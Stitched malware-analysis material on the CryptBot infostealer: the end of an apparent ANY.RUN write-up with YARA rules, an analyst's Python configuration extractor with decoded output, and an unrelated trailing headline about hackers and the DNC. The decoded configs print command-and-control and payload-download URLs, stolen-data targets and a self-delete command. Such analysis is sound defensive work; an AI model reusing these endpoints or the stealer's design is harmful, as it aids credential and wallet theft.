conducting the dynamic analysis. Once we do that with the DiE tool, it shows that the file is not packed. In this case, even though we didn’t find a packer during our static analysis, the dynamic analysis revealed that the malware uses a T1027.002 – software packing technique. ### Obfuscated files or information: software packing (T1027.002) By analyzing the memory of a running process using Process Hacker, we stumble upon an RWX region that is not normally found in legitimate programs. The beginning of the dump of this region allows you to see the header of the PE file. On further analysis, we discovered that the header of the PE file is also the beginning of the shellcode, which recovers the register value, gets the ImageBase, and passes control to the EntryPoint. Using the x64dbg debugger, we have determined that the executable memory region is allocated by the unpacker using the WinAPI’s VirtualAlloc function. Next, the unpacker writes payload to it and decrypts it with an XOR operation. The key to decrypt the payload is in the “.rdata” section of the running executable. Thus, we can see that despite the absence of features of the payload in the static analysis, using the dynamic one we have identified the presence of a packer and determined the key and the encryption algorithm. ## Writing YARA rules to detect CryptBot shellcode in memory A YARA rule for detecting a CryptBot shellcode in OS memory could look like this: ``` rule CryptBot_ShellCode { meta: author = "Any.Run" SHA256 = "183f842ce161e8f0cce88d6451b59fb681ac86bd3221ab35bfd675cb42f056ac" date = "2023-01-19" description = "Detect CryptBot shellcode in memory" strings: $shellcode = { 4D 5A 45 52 E8 00 00 00 00 58 83 E8 09 50 05 [4] FF D0 C3 } condition: uint16(0) != 0x5A4D and uint16(0) > 0 and $shellcode in (0x20..0x50) } ``` ## Static analysis and configuration decoding ### Finding and deciphering the configuration The static analysis of the payload code led us to the conclusion that the malware configuration is located in the “.data” section and encrypted with an XOR operation. Moreover, the decryption key lies in plaintext just before the encrypted data. The configuration is easily decrypted using CyberChef and the key “PU7GX2MZtl”. From the decrypted configuration, it becomes clear what information should be stolen by CryptBot. For example, the screenshot variable tells the malware to take a screenshot, and ChromeExt — to steal data from Chrome extensions. ### Automating configuration decryption We have automated the CryptBot configuration extraction in Python and made the script public. The result of the unpacked payload script is shown. ## Developing YARA Rules for detecting CryptBot configuration in memory Some strings of the decrypted CryptBot configuration can be used as part of a YARA rule to detect it in memory: ``` rule CryptBot_Config { meta: author = "Any.Run" SHA256 = "183f842ce161e8f0cce88d6451b59fb681ac86bd3221ab35bfd675cb42f056ac" date = "2022-01-19" description = "Detect CryptBot configuration in memory" strings: $s1 = "CookiesEdge" $s2 = "ChromeDB<>_<>" $s3 = "EdgeDB<>_<>" $s4 = "ChromeExt<>_<>" $s5 = "HistoryChrome<>_<>" $s6 = "EdgeExt<>_<>" $s7 = "CookiesFirefox<>_<>" $s8 = "HistoryOpera<>_<>" $s9 = "CookiesOpera<>_<>" $s10 = "FirefoxDB<>_<>" $s11 = "CookiesChrome<>_<>" $s12 = "HistoryFirefox<>_<>" $s13 = "HistoryEdge<>_<>" $s14 = "DesktopFolder<>_<>" $s15 = "ChromeDBFolder<>_<>" $s16 = "ExternalDownload<>_<>" $s17 = "ScreenFile<>_<>" $s18 = "MessageAfterEnd<>_<>" $s19 = "HistoryFile<>_<>" $s20 = "FirefoxDBFolder<>_<>" $s21 = "PasswordFile<>_<>" $s22 = "WalletFolder<>_<>" $s23 = "DeleteAfterEnd<>_<>" $s24 = "EdgeDBFolder<>_<>" $s25 = "InfoFile<>_<>" $s26 = "CookiesFile<>" condition: 7 of them } ``` ## Using ANY.RUN to efficiently analyze CryptBot For your convenience, we have integrated automatic extraction of the CryptBot configuration into ANY.RUN interactive sandbox — just run the sample and get all the IOCs in seconds. ## Conclusion In this article, we looked into CryptBot, its techniques, and behavior when contained in the ANY.RUN sandbox. We also wrote a configuration extractor that you can use to gather and interpret the data. Fortunately, ANY.RUN is already set up to detect this malware automatically, making the relevant configuration details just a click away.
# CryptBot **Overview** This is another C++ bot! According to Malpedia, a typical infostealer, capable of obtaining credentials for browsers, cryptocurrency wallets, browser cookies, credit cards, and creates screenshots of the infected system. All stolen data is bundled into a zip-file that is uploaded to the C2. **Samples** Samples available on UnpacMe - Packed 7ccda59528c0151bc9f11b7f25f8291d99bcf541488c009ef14e2a104e6f0c5d Unpacked cfbecf45c083efffff6d3000972a66cddb2f26d5c1845a697351b132e65049e0 **Analysis** This is some in-memory string that was captured in a Joe sandbox run. Content-Length: Content-Type: multipart/form-data; boundary=httphttpstrue<>S-1-5-18[<apis.google.com>]/[<443>][<www.google.com>][<"facebook">][<www.facebook.com>][<TEMP>][<APPDATA>][<LOCALAPPDATA>][<USERPROFILE>];[<ExternalDownload>][<Anti>][<true>][<UserAgent>][<UAC>] runas[<NTFS>][<Prefix>][<UID: >][<UserName: >][<ComputerName: >][<Info>][<OS: >][<DateTime: >][<UserAgent: >][<Keyboard Languages: >][<Display Resolution: >][<CPU: >][<RAM: >][<GPU: >][<isGodMod: yes>][<isGodMod: no>][<isAdmin: yes>][<isAdmin: no>][<Installed software:>][<Disk:>][<Process:>][<Screenshot>][<InfoFile>][<ScreenFile>][<PasswordFile>][<ChromeDBFolder>][<ChromeExt>][<WalletFolder>][<_Chrome_profile>][<EdgeDB>][<EdgeDBFolder>][<EdgeExt>][<_Edge_profile>][<Desktop>][<DesktopFolder>][<.txt>][<Wallet>] _test.err://[<80>][<OK>][</c>][<cmd>][<open>][<MessageAfterEnd>][<System Error>][<The application was unable to start correctly (0xc000007b). Click OK to close the application.>][<DeleteAfterEnd>][</c timeout -t 5 && del ">] **Yara Rule** Some of these strings exist in the binary unencrypted so we can use them for a Yara rule. ```yara rule cryptbot { strings: $s1 = "UID:" $s2 = "UserName:" $s3 = "ComputerName:" $s4 = "DateTime:" $s5 = "UserAgent:" $s6 = "Keyboard Languages:" $s7 = "Display Resolution:" $s8 = "CPU:" $s9 = "RAM:" $s10 = "GPU:" $s11 = "isGodMod: yes" $s12 = "isGodMod: no" $s13 = "isAdmin: yes" $s14 = "isAdmin: no" $s15 = "Installed software:" condition: all of them } ``` **Config** Finding a reference to the config in the code. ```assembly 80 3D ?? ?? ?? ?? 09 cmp byte ptr ptr_config, 9 ; "PSJigdSdi8" B9 00 01 00 00 mov ecx, 100h B9 00 01 00 00 mov ecx, 100h 80 3D ?? ?? ?? ?? 09 cmp byte ptr a7m1fqxrljy, 9 ; "7m1fqXrLJy" ``` ```python import re import pefile import struct file_data = open('/tmp/cryptbot.bin', 'rb').read() pe = pefile.PE(data=file_data) image_base = pe.OPTIONAL_HEADER.ImageBase text_data = None for s in pe.sections: if b'.text' == s.Name[:5]: text_data = s.get_data() break assert text_data is not None eggs = [ rb'\x80\x3D(....)\x09\xB9\x00\x01\x00\x00', rb'\xB9\x00\x01\x00\x00\x80\x3D(....)\x09' ] candidate_offsets = [] for egg in eggs: for m in re.finditer(egg, text_data, re.DOTALL): try: candidate_va = struct.unpack('<I', m.group(1))[0] candidate_offset = pe.get_offset_from_rva(candidate_va - image_base) candidate_offsets.append(candidate_offset) except: print(f"failed for group {m.group(1)}") pass assert candidate_offsets def xor_decrypt(data, key): out = [] for i in range(len(data)): out.append(data[i] ^ key[i % len(key)]) return bytes(out) def get_config(data, offset): key = data[offset:].split(b'\x00')[0] assert 5 < len(key) < 20 config_data_enc = data[offset + len(key) + 1:] return xor_decrypt(config_data_enc, key) config_data = None for candidate_offset in candidate_offsets: try: tmp_config = get_config(file_data, candidate_offset) if tmp_config[:4] == b'http': config_data = tmp_config break except: pass assert config_data is not None # config parse config_array = [] for a in config_data.split(b'\x00'): if not a.isascii(): break config_array.append(a) c2 = config_array[0].decode('utf-8') settings = [] for config_entries in config_array[1:]: for entry in config_entries.split(b'<>\r\n'): if len(entry) == 0: continue settings.append({'key': entry.split(b'<>_<>')[0].decode('utf-8'), 'value': entry.split(b'<>_<>')[1].decode('utf-8')}) print(c2) print(settings) ``` **Output** ```python http://erniku42.top/gate.php; [{'key': 'CookiesEdge', 'value': 'false'}, {'key': 'HistoryEdge', 'value': 'false'}, {'key': 'HistoryFirefox', 'value': 'false'}, {'key': 'EdgeDB', 'value': 'true'}, {'key': 'Edge', 'value': 'false'}, {'key': 'Files', 'value': 'false'}, {'key': 'Opera', 'value': 'false'}, {'key': 'CookiesOpera', 'value': 'false'}, {'key': 'HistoryOpera', 'value': 'false'}, {'key': 'Screenshot', 'value': 'true'}, {'key': 'Chrome', 'value': 'false'}, {'key': 'Info', 'value': 'true'}, {'key': 'HistoryChrome', 'value': 'false'}, {'key': 'ChromeDB', 'value': 'true'}, {'key': 'Wallet', 'value': 'true'}, {'key': 'ChromeExt', 'value': 'true'}, {'key': 'Firefox', 'value': 'false'}, {'key': 'CookiesChrome', 'value': 'false'}, {'key': 'FirefoxDB', 'value': 'true'}, {'key': 'CookiesFirefox', 'value': 'false'}, {'key': 'Desktop', 'value': 'true'}, {'key': 'EdgeExt', 'value': 'true'}, {'key': 'CookiesFile', 'value': '_AllCookies.txt'}, {'key': 'HistoryFile', 'value': '_AllHistory.txt'}, {'key': 'NTFS', 'value': 'true'}, {'key': 'Key', 'value': 'NkB7vazOVtAR2LZ'}, {'key': 'DesktopFolder', 'value': '_Desktop'}, {'key': 'UAC', 'value': 'false'}, {'key': 'ScreenFile', 'value': '$CREEN.PNG'}, {'key': 'DeleteAfterEnd', 'value': 'true'}, {'key': 'MessageAfterEnd', 'value': 'false'}, {'key': 'FirefoxDBFolder', 'value': '_Firefox'}, {'key': 'Anti', 'value': 'false'}, {'key': 'EdgeDBFolder', 'value': '_Edge'}, {'key': 'UserAgent', 'value': ''}, {'key': 'Prefix', 'value': 'mrd-'}, {'key': 'WalletFolder', 'value': '_Wallet'}, {'key': 'PasswordFile', 'value': '_AllPasswords.txt'}, {'key': 'ChromeDBFolder', 'value': '_Chrome'}, {'key': 'ExternalDownload', 'value': 'http://ovapfa05.top/unfele.dat'}, {'key': 'FilesFolder', 'value': '_Files'}, {'key': 'InfoFile', 'value': '_Information.txt'}] ``` **File Processing** ```python from pathlib import Path for file in Path('/tmp/samples/').glob('*'): print(file) try: config = get_config_from_file(file) print(config.get('c2'), 'None') except Exception as e: print("ERROR") print(e) ``` **Sample Outputs** ``` /tmp/samples/909ce699e4a2680687b65ca3d4ff8cd24a410c05ceda581741e17aa429b12983 http://ernjxs12.top/gate.php; None ... /tmp/samples/134ee19e860f2c229787a6e2b954c79bde7831e4865f27c00ca9c84fcb0e2c1f http://trenio65.top/gate.php; None ```
# Russian Government Hackers Penetrated DNC, Stole Opposition Research on Trump